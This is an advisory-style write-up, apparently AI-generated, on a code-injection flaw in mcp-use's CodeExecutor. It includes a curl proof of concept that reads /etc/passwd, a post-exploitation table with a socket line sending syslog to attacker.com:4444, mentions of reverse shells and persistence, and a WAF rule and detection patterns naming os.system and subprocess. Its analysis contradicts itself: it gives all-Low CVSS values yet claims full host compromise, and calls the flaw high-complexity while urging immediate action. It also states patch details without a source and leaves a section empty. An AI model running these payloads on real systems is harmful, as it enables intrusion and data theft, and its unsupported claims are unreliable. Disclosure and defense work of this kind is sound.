CVE-2026-140133 — Mcp-use (1.7.0) — CWE-74 · CWE-94
A vulnerability was determined in mcp-use up to 1.7.1. Affected by this vulnerability is the function _build_namespace of the file libraries/python/mcp_use/client/code_executor.py of the component CodeExecutor. Executing a manipulation of the argument code can lead to code injection. The attack can be launched remotely. The project maintainer explains, that the built-in Python sandbox executor is not meant for production use and users should rely on external sandbox providers.
A vulnerability was determined in mcp-use up to 1.7.1. Affected by this vulnerability is the function _build_namespace of the file libraries/python/mcp_use/client/code_executor.py of the component CodeExecutor. Executing a manipulation of the argument code can lead to code injection. The attack can be launched remotely. The project maintainer explains, that the built-in Python sandbox executor is not meant for production use and users should rely on external sandbox providers.
🎯 What is this vulnerability?
CVE‑2026‑140133 is a remote code‑execution (RCE) flaw in the mcp-use project (v1.7.0‑1.7.1).
The vulnerable component is the CodeExecutor class, specifically the _build_namespace method in libraries/python/mcp_use/client/code_executor.py.
Technical details
| Item | Description |
|---|---|
| CWE | CWE‑74 (Improper Neutralization of Input During Web Page Generation) & CWE‑94 (Improper Control of Generation of Code) |
| Flaw | The _build_namespace method accepts a user‑supplied string (code) and passes it directly to Python’s exec() without any sanitization, validation, or sandboxing. |
| Missing check | No authentication/authorization guard, no input filtering, no sandbox enforcement. |
| Result | An attacker can inject arbitrary Python code that will be executed with the privileges of the mcp-use process. |
Because the built‑in “sandbox” is not a real sandbox, the code runs in the same interpreter context as the service, giving the attacker full control over the host.
⚡ Attack Chain
NOTE: The exact HTTP endpoint and parameter names are not disclosed in the CVE text. The following example uses a hypothetical REST API (/execute) that accepts a JSON payload containing acodefield. The example is illustrative; adjust the URI/parameters to match the real service once discovered.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Service fingerprinting | curl -I http://<target>/ or nmap -sV -p 80,443 <target> | Look for mcp-use in the Server: header or a /version endpoint that returns {"product":"mcp-use","version":"1.7.1"}. |
| API enumeration | curl -X GET http://<target>/api/ or dirsearch | Identify endpoints that accept code execution, e.g., /execute, /run, /eval. |
| Version check | curl -X GET http://<target>/api/version | Confirm the target is 1.7.0‑1.7.1. |
2. Exploitation
Exploit mechanics
1. Send a POST request to the code‑execution endpoint with a JSON body containing malicious Python code.
2. The server passes the code string to _build_namespace, which calls exec(code, namespace).
3. The injected code runs with the same privileges as the mcp-use process.
Illustrative PoC
# Target: http://example.com:8080
# Endpoint (illustrative): /execute
# Payload: read /etc/passwd and send it back in the response
curl -s -X POST "http://example.com:8080/execute" \
-H "Content-Type: application/json" \
-d '{
"code": "import base64, sys, os; sys.stdout.write(base64.b64encode(open(\"/etc/passwd\").read()).decode())"
}' | base64 -dWhat happens:
- The server executes the
codestring. open("/etc/passwd")reads the file.- The content is base64‑encoded and written to
stdout, which the server returns in the HTTP response. - The attacker decodes the base64 payload locally.
- Data exposure: Sensitive files (e.g.,
/etc/passwd, database credentials in config files) can be read. - System compromise: If the service runs as root, the attacker gains full control of the host.
- Service disruption: Arbitrary code can crash or hang the service, causing denial of service.
- Lateral movement: The attacker can pivot to other systems on the network.
Important: The above payload is a minimal example. In a real attack, the attacker could runos.system('id'),subprocess.Popen, or install a reverse shell.
3. Post‑exploitation
Once the attacker has RCE, the following actions are typical:
| Goal | Typical commands |
|---|---|
| Privilege escalation | import os; os.system('whoami') → check current UID. If the process runs as root, the attacker gains full system control. |
| Persistence | Write a cron job or systemd unit, or modify /etc/rc.local. |
| Data exfiltration | import socket; s=socket.socket(); s.connect(('attacker.com', 4444)); s.sendall(open('/var/log/syslog').read().encode()); s.close() |
| Install a webshell | import http.server, socketserver; Handler= http.server.SimpleHTTPRequestHandler; httpd=socketserver.TCPServer(("", 8000), Handler); httpd.serve_forever() |
| Move laterally | Use subprocess to run ssh or smbclient against other hosts. |
Because the vulnerability is unauthenticated and remote, the attacker can start the chain from any external machine that can reach the service.
🌍 Real World Impact
| CVSS Dimension | Value | Interpretation |
|---|---|---|
| Confidentiality | Low | Data leakage is possible but limited to what the process can read. |
| Integrity | Low | The attacker can modify files or configuration that the process can write to. |
| Availability | Low | The attacker can crash the service by running resource‑intensive code. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected | Fixed |
|---|---|
mcp-use | 1.7.2 (or later) – the _build_namespace method now validates the code argument and enforces a real sandbox or rejects execution entirely. |
Recommendation: Upgrade to the latest release as soon as possible. If an upgrade is not feasible, apply the following mitigations.
2. Workarounds
| Mitigation | How to implement |
|---|---|
| Disable the vulnerable endpoint | If the service exposes /execute, block it via firewall or remove the route from the application configuration. |
| Restrict access | Place the service behind an internal VPN or restrict the IP range to trusted hosts. |
| WAF / ModSecurity rule | Example rule to block suspicious payloads containing import or os.system: |
SecRule REQUEST_BODY "@rx (?i)(import|os\.system|subprocess|exec|eval)" \
"id:1001,phase:2,deny,status:403,msg:'Potential code injection attempt'"Note: This rule is a basic filter; a production WAF should include more comprehensive checks.
3. Detection
| Indicator | Log pattern | How to spot it |
|---|---|---|
| Suspicious POST to /execute | POST /execute HTTP/1.1 | Look for /execute in access logs. |
Python exec calls | exec( in application logs | Enable debug logging for the CodeExecutor module. |
| Unusual system calls | os.system(, subprocess.Popen( | Monitor syslog or auditd for these calls. |
| Base64 payloads | data=base64 in request body | Check for base64 in POST data. |
IoCs (example)
| Type | Value |
|---|---|
| File hash | SHA‑256 of the vulnerable code_executor.py (if available) |
| URL pattern | /execute |
| Payload pattern | import os or os.system( |
| User‑Agent | Any custom agent used by the attacker (e.g., curl/7.68.0) |
⚠️ Urgency
Priority: Immediate.
Summary
CVE‑2026‑140133 is a classic arbitrary code execution flaw caused by unsanitized user input being passed to Python’s exec() in the mcp-use CodeExecutor. The vulnerability is remote, unauthenticated, and has a high exploitation complexity. The recommended response is to upgrade to 1.7.2 or later, otherwise disable the vulnerable endpoint, restrict access, and deploy WAF rules to block suspicious payloads. Monitoring for the indicators listed above will help detect any exploitation attempts.
[🤖 CVE Professor AI Security Engine]